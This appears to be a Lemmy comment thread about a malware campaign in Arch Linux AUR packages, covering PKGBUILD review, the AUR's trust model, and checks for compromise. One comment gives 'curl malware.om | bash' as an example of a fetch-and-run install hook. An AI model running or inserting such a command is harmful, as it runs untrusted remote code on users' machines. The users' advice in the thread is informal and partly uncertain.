all 70 comments

sorted by: hot top controversial new old
[–] 27 points 4 months ago (1 child)

Ah yes, review the PKGBUILD for every AUR update. Luckily I do this while I'm rereading the ToS every time those get changed for all my software as well.

When I finish that I intend to read the changelog in git for each of the commits since the last update.

  • source
  • hideshow 1 child comment
  • [–] 24 points 4 months ago (19 children)

    What can be done to prevent this from happening to the AUR?

  • source
  • hideshow 19 child comments
  • [+] 46 points 4 months ago (7 children)
  • [–] 7 points 4 months ago

    paru always shows you the diff of the PKGBUILD on upgrade, so no need to worry about adding it to an alias that does both.

    In fact, just running paru is the same as running

    pacman -Syu
    paru -Sau
    

    At the end I review the PKGBUILDs and make sure everything looks reasonable. Usually it's just new source hashes, but not every time.

  • source
  • parent
  • [–] 2 points 4 months ago (5 children)

    What do you mean by "tying AUR updates to system updates" ?

  • source
  • parent
  • hideshow 5 child comments
  • [–] 8 points 4 months ago (4 children)

    As in updating the AUR when you update your system packages, which come from known sources.

  • source
  • parent
  • hideshow 4 child comments
  • [–] 8 points 4 months ago (3 children)

    And just to be very explicit why this is an issue: each time the package is upgraded through an automated update, the PKGBUILD may change (e.g. to adapt to different dependencies, file structure, etc introduced with new app version).

    That also means an AUR maintainer can smuggle in malware with any of those updates, even if you checked the original PKGBUiLD when you installed. And, anyone can request taking over maintenance for unmaintained packages, so it can even happen if the original maintainer was benevolent.

    Always check PKGBUILD files on upgrade, even if just a glance. If I remember correctly yay had a function to always show you PKGBUILD diffs before updates, not sure if that was automatically enabled.

  • source
  • parent
  • hideshow 3 child comments
  • [–] 9 points 4 months ago

    Paru shows you the diffs by default.

    I just run paru when I do system upgrades. Very convenient to have one command doing everything in a somewhat safe way.

    Of course, inspecting the PKGBUILDs still doesn't protect us from having the actual software repositories compromised. Just because only the source hash changed doesn't mean the software doesn't have malware now.

    That's where I draw the line regarding trust. I don't feel like going into to each release of each AUR package I have installed to check code to see if malware was injected. 😅

  • source
  • parent
  • [–] 2 points 4 months ago

    Yeah, it's never sat very well with me. I've gone through cycles where I'll use a good bit of AUR, to none at all. I had been using a handful of things, but realized that almost all of it was Python stuff that I could more safely install with pip or uv, so I've migrated all of that. The one thing left is Manuskript, and it hardly gets updates anyway.

  • source
  • parent
  • [–] 17 points 4 months ago (2 children)

    The way to prevent it is to get more stuff into the official repos so people aren’t forced to rely on AUR in the first place.

  • source
  • parent
  • hideshow 2 child comments
  • [–] 1 point 4 months ago* (1 child)

    It depends. There are trusted well known packages and those can be trusted in my opinion. But I wouldn't install any random package someone made.

    And how would moving the packages into official repo solve anything? The reason it's in the AUR is because the arch maintainers don't have time to maintain packages.

  • source
  • parent
  • hideshow 1 child comment
  • [–] 9 points 4 months ago (5 children)

    in theory? getting rid of paru and friends, manually reviewing the pkgbuild and the source of whatever it is installing

    realistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware

    the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what's happening) and be able to review the installer/package or trust someone who can vouch for its safety

  • source
  • parent
  • hideshow 5 child comments
  • [–] 3 points 4 months ago* (4 children)

    paru shows you the PKGBUILD diffs on upgrade, so you can review then and deny upgrades.

    But realistically I am not going to go into the code itself on my installed packages to check for malware or other types of attacks. That's too time consuming for my risk level, and requires more knowledge than can be expected, to be honest.

    Edit: but maybe you're talking about when first installing a package? Come to think of it, I'm not sure it shows the PKGBUILD at that point. 🤔

  • source
  • parent
  • hideshow 4 child comments
  • [–] 1 point 4 months ago (1 child)

    the diff is noise in the potentially big update log. the point of doing it manually is forcing you to take your time and verify stuff one by one. also pkgbuild is just one place, seeing the hash changed means nothing if you don't check what that archive contains, or seeing the install steps don't change mean very little when the installer invokes other scripts anyway

    i understand that you aren't going to vet the source itself, but at that point you are exposing yourself to this kind of malware without mitigation. the aur is unsafe by design (fast way to publish a package without any involvement from anyone else) and should be avoided whenever possible. im not an arch hater, i too run arch

  • source
  • parent
  • hideshow 1 child comment
  • [–] 1 point 4 months ago

    the diff is noise in the potentially big update log. the point of doing it manually is forcing you to take your time and verify stuff one by one.

    I guess it depends on your discipline. If I'm already so inclined that I'd go to the lengths of forcing myself to check each package "manually", I'm also going to be so disciplined to check each diff when paru pauses the upgrade process for me to do so. It's the same thing for me.

    also pkgbuild is just one place, seeing the hash changed means nothing if you don't check what that archive contains, or seeing the install steps don't change mean very little when the installer invokes other scripts anyway

    Yup, and as I said, that's where I draw the line with my trust and my threat level. I don't have a lot of important data.

    i understand that you aren't going to vet the source itself, but at that point you are exposing yourself to this kind of malware without mitigation. the aur is unsafe by design (fast way to publish a package without any involvement from anyone else) and should be avoided whenever possible. im not an arch hater, i too run arch

    Yup, I'm aware of the risks I'm taking. 🙂 That's the important part to me. I really don't have time to vet sources with two small kids and a full-time job, and hobbies and exercise every week. It's impossible, and a sacrifice I'm willing and forced to make if I want some life balance. Quite a simple choice.

  • source
  • parent
  • [–] 8 points 4 months ago

    The AUR is unsafe by design. It's not intended to be something you just install from willy-nilly. It's intended to be a helpful way for arch users who know what they're doing to exchange a convenient way to install arbitrary packages. But you should always be just as wary of it as copy/pasting shell code from a random person on the internet.

  • source
  • parent
  • [–] 47 points 4 months ago (2 children)

    God, even the Arch malware uses npm as a vector. And thus, my hatred of npm deepens even further

  • source
  • hideshow 2 child comments
  • [–] 10 points 4 months ago (1 child)

    Tbf, it is run in package post install section so it could be anything even the typical "curl malware.om | bash". There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM

  • source
  • parent
  • hideshow 1 child comment
  • [–] 16 points 4 months ago* (last edited 4 months ago) (8 children)

    Users can check if they're already compromised with pacman -Q | grep alvr I think maybe? EDIT: No, sorry, alvr was just one of countless affected packages. Also, several is an understatement since a huge number of packages are affected.

    Post with more information here: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/

  • source
  • hideshow 8 child comments
  • [–] 5 points 4 months ago (5 children)

    alvr as in the vr streaming program for standalone headsets? that's kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.

  • source
  • parent
  • hideshow 5 child comments
  • [–] 5 points 4 months ago

    I panicked a bit when I saw the news earlier today as one of those niche guys. Then remembered I had removed it for WiVRn a few weeks ago and don't have anything else off the AUR. Double niche win lol

  • source
  • parent
  • [–] 4 points 4 months ago (1 child)

    Oh my, I'm new to Linux and I use CachyOS for my gaming rig at home. Most of the time I have no idea what I'm doing, but shit runs well and I'm happy about it. But how the hell do I check my noob ass if it's compromised?!

  • source
  • parent
  • hideshow 1 child comment
  • [–] 1 point 4 months ago* (last edited 4 months ago)

    I'm not real clear on if this is the case but you could try:

    1. Have you installed or updated from the AUR before, such as with Yay? Specifically after June 5th? If so, check this list or the post above for a list of compromised packages. https://gr.ht/aur_pkg_list.txt

    2. Maybe pacman -Q | grep atomic-lockfile because that appears to be what the threat actor is installing but I'm not really sure if that's how it works...?

    EDIT: If you really want to play it safe then you could try yay -R $(pacman -Qmq) to remove every aur package and wait out the storm, just be careful to backup important files.

  • source
  • parent
  • [–] 11 points 4 months ago* (5 children)

    Here’s a incomplete list:

    https://gr.ht/aur_pkg_list.txt

    I know some on Lemmy here use the RuneScape launcher.

  • source
  • hideshow 5 child comments
  • [–] 4 points 4 months ago (3 children)

    For an automated script to help you check, you can use https://github.com/lenucksi/aur-malware-check to see if you're infected.

  • source
  • parent
  • hideshow 3 child comments
  • [–] 2 points 4 months ago* (2 children)

    Very useful, thanks.

    Came up clear, fortunately.

    Out of curiosity, did Arch send any notifications through pacman or anything? The first I heard of this was on Lemmy.

  • source
  • parent
  • hideshow 2 child comments
  • [–] 14 points 4 months ago (4 children)

    Hilarious that it's JavaScript again, truely npm, pypi and cargo are obvious targets. Also, guys, minimise your usage of the AUR! I don't use any AUR packages.

    Core > Extra > flathub >>>>>>>>>>>>> AUR

    Not that core/extra/flathub can't be pwned but it's harder then the AUR.

  • source
  • hideshow 4 child comments
  • [–] 2 points 4 months ago (1 child)

    I'm interested why flathub > AUR? I try to minimize AUR usage but always assumed it's better than flathub?

  • source
  • parent
  • hideshow 1 child comment
  • [–] 7 points 4 months ago

    Not the one you asked, but it's a case of priorities:

    • If you want it to just work, then the AUR is probably the better pick. Don't get me wrong, through; most flatpaks should (mostly) work like how you'd expect them to behave natively.
    • But, (Op)Sec-wise, the verified flatpaks win. No contest. Simply, because there's no third party involved in the process. (And I haven't even gone over flatpaks' superior sandboxing.)
  • source
  • parent
  • [–] 1 point 4 months ago (1 child)

    But mpv-git has some advantages... and edir, bat, rdo still not in the main repos.

  • source
  • parent
  • hideshow 1 child comment
  • [–] 4 points 4 months ago

    Minimizing AUR usage doesn't necessarily mean not using it at all, but I would weigh those advantages carefully against the risk it brings. I would also recommend the people who don't know what they are doing to not use it at all.

  • source
  • parent
  • [–] 19 points 4 months ago (5 children)

    Trying to escape surveillance capitalism while installing aur packages willy-nilly.

  • source
  • hideshow 5 child comments
  • [–] 14 points 4 months ago (4 children)

    Are you one of the malicious actors? Thats some shit I'd expect to hear from the people doing this, trying to justify the attack by blaming the users for "capitalism".

  • source
  • parent
  • hideshow 4 child comments
  • [–] 10 points 4 months ago (1 child)

    I am quite confused by your assumptions. I am just making a joke about people trying to avoid surveillance capitalism tools on one side and gleefully installing aur packages from random people on the other side, potentially making their surveillance exposure worse. I'm part of them some time because it's too hard to verify everything everytime.

  • source
  • parent
  • hideshow 1 child comment
  • [–] 5 points 4 months ago

    i can empathize with those infected but it's important to note that the source of this issue is still installing random stuff from random people. the aur is not the same as arch repos, and users wanting to opt in need to take more precautions than usual

  • source
  • parent
  • [–] 1 point 4 months ago*

    That's probably simply a more skeptical take of my own newbie perspective: the automated update systems on Linux are feeling increasingly scary since their maintainers can get hacked... I'm on Mint and I wish that the Update Manager would show changelogs per update, at least (even if those, too, can be fabricated)...

  • source
  • parent
  • [–] 3 points 4 months ago

    This reminds me to remove the Fluxer AUR package I have

  • source
  • [–] 2 points 4 months ago

    Why is the atomic-lockfile thing not removed from npm?

  • source
  • [–] 3 points 4 months ago (1 child)

    yikes, I'm glad I decided to switch to debian stable recently, not that it's a foolproof system either

  • source
  • hideshow 1 child comment
  • [–] 2 points 4 months ago

    Yeah, it seems like these sort of problems aren't necesarily due to an insecure system like the AUR but moreso because of the target's publicity and popularity which is definitely the case with the rise of CachyOS.

  • source
  • parent
  • [+] -58 points 4 months ago (12 children)

    Why anyone is using Arch at this point is beyond me.

    Every update is a potential failure waiting to happen. And on top of that, their user repos are infected with malware.

    Yeah, I'm going to stick with Debian.

  • source
  • hideshow 12 child comments
  • [–] 41 points 4 months ago (1 child)

    Of course the secondary opt-in user repo with unvetted package maintainers is infected with malware, it'd be a miracle if it weren't! They warn as much in the docs. Use at your own risk, or package and maintain it yourself, because you're likely not finding it packaged more reliably elsewhere.

    And I love Debian, but if you think the Debian repos with 30,000+ packages and 1000+ community maintainers aren't also infected with malware...

  • source
  • parent
  • hideshow 1 child comment
  • There hasn't been a single reported incident so far. So, as far as we know... No. They aren't infected.

    And I trust the community of elders that take care of the Debian distro. They have been reliable and solid. They don't just throw anything at the users on Stable. Even Testing is considered safer than most distributions.

  • source
  • parent
  • [+] 5 points 4 months ago* (last edited 4 months ago) (2 children)
  • [–] -1 points 4 months ago (1 child)

    Not even. The PPAs are created and hosted by very specific maintainers with very specific packages. So you have someone to blame and a single software to clean up if things go wrong. And word spreads fast. Yes, there's a risk, but you can sort of judge how big of a risk it is.

    Meanwhile with AUR, it's just a giant repo in which anybody can just dump whatever. The risks are huge. If I were on Arch, I wouldn't touch it for anything. I'd rather compile the source code myself for any software I need instead of getting it there.

  • source
  • parent
  • hideshow 1 child comment
  • [+] 0 points 4 months ago* (last edited 4 months ago) (1 child)
  • I've been a Linux user for 26 years. I made distros for hardware manufacturers. I know very well the distinctions between the AUR and the regular Arch repos and the parallel with Debian's.

    With Arch, the problem is that the AUR is available in the first place and is very easy to enable. People, especially new users, won't necessarily understand what they're getting into when enabling it and getting packages from there. A lot of the advice people get online suggest to get packages from AUR. So Arch users are bound to use it at some point.

    And if you add to that the fact that the standard repo has bleeding edge package versions with minimal testing means that vulnerabilities can also get introduced. And it's happened before. This affected Arch, OpenSUSE Tumbleweed, Fedora, but you know what distribution wasn't affected? Debian stable and Ubuntu LTS.

    And on top of that, I'm not even going to mention how unstable it is and how even just making updates is risky on Arch. You have to be on your toes all the time and you can end up with a broken system at any time. For a main PC operating system, I find that absolutely unacceptable. At least Manjaro tried to improve on this.

    Valve switching to Arch makes sense though. They moved to Arch because they wanted the most up to date software and drivers available with a faster release cycle. Then control what versions they push to their devices. They keep a tight control over what gets updated by curating their own repositories. So it's not purely Arch either. It's Arch-based. You can expect software to be a little older on Steam OS.

    In any case. For me, Debian is the solution. I'm looking for stability and security. It has a huge repo with practically every software under the sun. There's tons of documentation and support and a huge community. For me the distribution works OOTB without any hitch. I just know that I won't spend time troubleshooting something on my time off. I already do a lot of this during work.

  • source
  • parent
  • load more comments (-1 replies)
  • [–] 11 points 4 months ago* (7 children)

    Being critical towards operating system: Great

    Actual argument: fair

    Solution: oof

    Debian is by all means great, for many things, but for a main pc? Shivers

  • source
  • parent
  • hideshow 7 child comments
  • [–] 5 points 4 months ago (5 children)

    What makes this a fair argument? Debian not having an AUR analogue? It's a shit response from someone who couldn't even be bothered to look up any information on what the AUR is or how it's supposed to be used. And what exactly is wrong with using debian on a "main pc"? If people want ancient packages with backported security patches they can knock themselves out. It doesn't fit my requirements, but there's nothing wrong with it either.

  • source
  • parent
  • hideshow 5 child comments
  • [–] 1 point 4 months ago* (4 children)

    Its rather subjective but it wouldn’t be the first time updating arch has broken my system and its fair that some people don’t want to deal with that and much prefer some more mature.

    And i have no qualms with people who do use debian for a main system but i do assume everyone who do are retired folk with a long career in computing behind them and aren’t in the market to change to another.

  • source
  • parent
  • hideshow 4 child comments
  • [–] 5 points 4 months ago

    The AUR is not the standard arch package repository and arch as a distro shouldn't be judged by it's merits or dangers. Yes, obviously a rolling release distro is not the best fit for most people, but that's beside the point. Debian is completely fine for people who are looking to replace their windows machine with something stable and don't need ton of exotic software or especially recent packages.

  • source
  • parent
  • [–] 0 points 4 months ago* (1 child)

    Who is having breaking update issues anymore in 2026? I've been running vanilla Arch for 10 years and the only times that has happened (there have been a handful I guess) the archwiki says "hey there's a breaking change run these 2 commands" and it's fixed. As a beginner on Linux I actually switched to Arch because every Ubuntu issue I googled was 6 to 10 lines to fix while arch was 1 to 3 lines. The only problem is that the OS expects that you be able to read, which is sometimes tough.

    I can't imagine being on a system that is multiple major releases behind on basic things like nvim and python. I guess if you're content not to use anything remotely current it makes sense.

  • source
  • parent
  • hideshow 1 child comment
  • Being behind a few releases isn't that bad, honestly. At least you're certain it's going to be well tested and the majority of problems have been ironed out. And there'll be documentation already on how to fix things or work around certain missing features if that ever occurs. It's much less of a hassle.

  • source
  • parent
  • Why shivers ?

    It's stable, it has a HUGE software repo (one of the largest ones if I'm not mistaken), third party software and drivers are almost always available as a Debian package, the community behind it is actually serious about making it safe and problem free. So what if some of the software is not bleeding edge? At least I can rest easy when I'm updating my system. I'll almost never have any bad surprises like you get in Arch.

    Arch just takes whatever the latest software is and throws it in the repos for the users to figure out if it breaks. Half the solutions you find in the wiki are half-baked solutions just to make things work, but are often not standard or even secure, leaving your system with security holes.

  • source
  • parent
  • load more comments (-1 replies)
    2 comments in c/linux@sh.itjust.works view that post
    [+] 2 points 4 months ago (1 child)
  • [–] 3 points 4 months ago

    On Debian the equivalent to using the AUR would be adding 3rd party apt repositories or manually installing a .deb that you downloaded from some random site on the internet. That is just as vulnerable to the same kind of attack. If you stick to the official repos on Arch, you are just as safe as if you stick to the official repos on Debian.

    One could even argue that arch is more secure by providing a central platform like aur, as that's what allows them to look for malicious packages now.

  • source
  • parent
  • 1 comment in c/runescape@lemmy.zip view that post
    [–] 1 point 4 months ago

    We can’t have nice things.

  • source